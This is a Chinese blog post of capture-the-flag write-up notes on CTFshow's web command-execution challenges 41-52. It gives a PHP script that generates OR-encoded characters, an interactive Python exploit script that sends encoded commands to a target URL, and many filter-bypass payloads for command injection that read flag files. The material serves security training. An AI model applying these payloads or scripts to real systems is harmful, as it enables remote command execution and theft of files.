[CTFshow]Web命令执行章节之[41-52]笔记

前言

好,开冲了

图片[1],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web41

图片[2],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[3],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤了0-9 a-z ~ + $[]{}-\等 使用的是post请求

这里直接用脚本 脚本的路径也附上

https://blog.csdn.net/miuzzx/article/details/108569080

把php脚本和python脚本放到一起

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
  for ($j=0; $j <256 ; $j++) { 

    if($i<16){
      $hex_i='0'.dechex($i);
    }
    else{
      $hex_i=dechex($i);
    }
    if($j<16){
      $hex_j='0'.dechex($j);
    }
    else{
      $hex_j=dechex($j);
    }
    $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
          echo "";
    }
  
    else{
    $a='%'.$hex_i;
    $b='%'.$hex_j;
    $c=(urldecode($a)|urldecode($b));
    if (ord($c)>=32&ord($c)<=126) {
      $contents=$contents.$c." ".$a." ".$b."\n";
    }
  }

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ?>

php脚本会生成rcetxt文件

让后运行python脚本

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)

在shell里运行

用法:

python 你的python脚本名字.py <url>

图片[4],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

function 命令函数 使用system

让后运行我们的命令 tac flag.php

图片[5],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web42

图片[6],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[7],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

这个 2>&1是把错误输出绑定到标准输出

>dev/null 把c的命令抛掷黑洞里使其无法执行

双写绕过 is阻断 最后把is抛掷黑洞而分号前面执行

?c=tac flag.php;is
?c=tac flag.php;is
?c=tac flag.php;is
图片[8],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web43

图片[9],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[10],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤了;cat

所以上一关的双写;是无法被识别的

我们使用|| 或者&& 都可以执行 如果使用&&要进行url编码

||是有能够执行就执行 &&是前面执行过在执行后一个

?c=tac flag.php||ls
?c=tac flag.php||ls
?c=tac flag.php||ls
图片[11],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web44

图片[12],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[13],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

不解释,秒了

?c=tac fla*||ls
?c=tac fla*||ls
?c=tac fla*||ls
图片[14],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web45

图片[15],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[16],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

多过滤了空格 %09 %0a都能过 直接秒

?c=tac%09fla*||ls
?c=tac%09fla*||ls
?c=tac%09fla*||ls
图片[17],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web46

图片[18],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[19],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤cat flag 空格 0-9 反斜杠 $ 以及*

空格用%09过滤 虽然是过滤0-9但%09解码之后不属于数字可以使用 flag可以用?绕过

?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
图片[20],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web47

图片[21],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[22],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[23],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

比上一关过滤了很多读取命令 但是没过滤tac

上一关的payload一把梭

?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
图片[24],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web48

图片[25],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[26],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

还是没有过滤tac 上上一关的payload照样打 秒了

?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
图片[27],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web49

图片[28],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[29],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

多了百分号 但是一样%09不会被转义成%上上上一把payload照样打通

?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
?c=tac%09fla?.php||ls
图片[30],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web50

图片[31],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[32],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

%09被过滤了 %26是&&符号也被过滤了这下不得不用不带空格的命令了

方法一

用nl来查看 ”双单引号绕过flag ”命令里默认忽略

?c=nl<fla''g.php||ls
?c=nl<fla''g.php||ls
?c=nl<fla''g.php||ls
图片[33],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[34],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

方法二

tac查看

?c=tac<fl''ag.php||ls
?c=tac<fl''ag.php||ls
?c=tac<fl''ag.php||ls
图片[35],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web51

图片[36],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[37],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

多了tac

上把的nl可以过 当然tac可以用ta”c过

方法一如上一关nl过

?c=nl<fla''g.php||ls
?c=nl<fla''g.php||ls
?c=nl<fla''g.php||ls
图片[38],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

方法二

tac过

?c=ta''c<fla''g.php||ls
?c=ta''c<fla''g.php||ls
?c=ta''c<fla''g.php||ls
图片[39],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web 52

图片[40],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[41],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤的更多了><也给过滤了但是$IFS没有过滤 $IFS在linux中是分隔符的意思

用cp mv进行看看

?c=cp${IFS}fla?.php${IFS}u.txt||ls
?c=cp${IFS}fla?.php${IFS}u.txt||ls
?c=cp${IFS}fla?.php${IFS}u.txt||ls

发现

图片[42],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

假的flag

列一下根目录

?c=ls${IFS}/||ls
?c=ls${IFS}/||ls
?c=ls${IFS}/||ls
图片[43],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

flag应该在根目录中

?c=ta''c${IFS}/fla?||ls
?c=ta''c${IFS}/fla?||ls
?c=ta''c${IFS}/fla?||ls

拿到flag

图片[44],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
I can accept failure but I can’t accept not trying.
可以接受暂时的失败,但绝对不能接受未曾奋斗过的自己
评论 抢沙发

请登录后发表评论

    暂无评论内容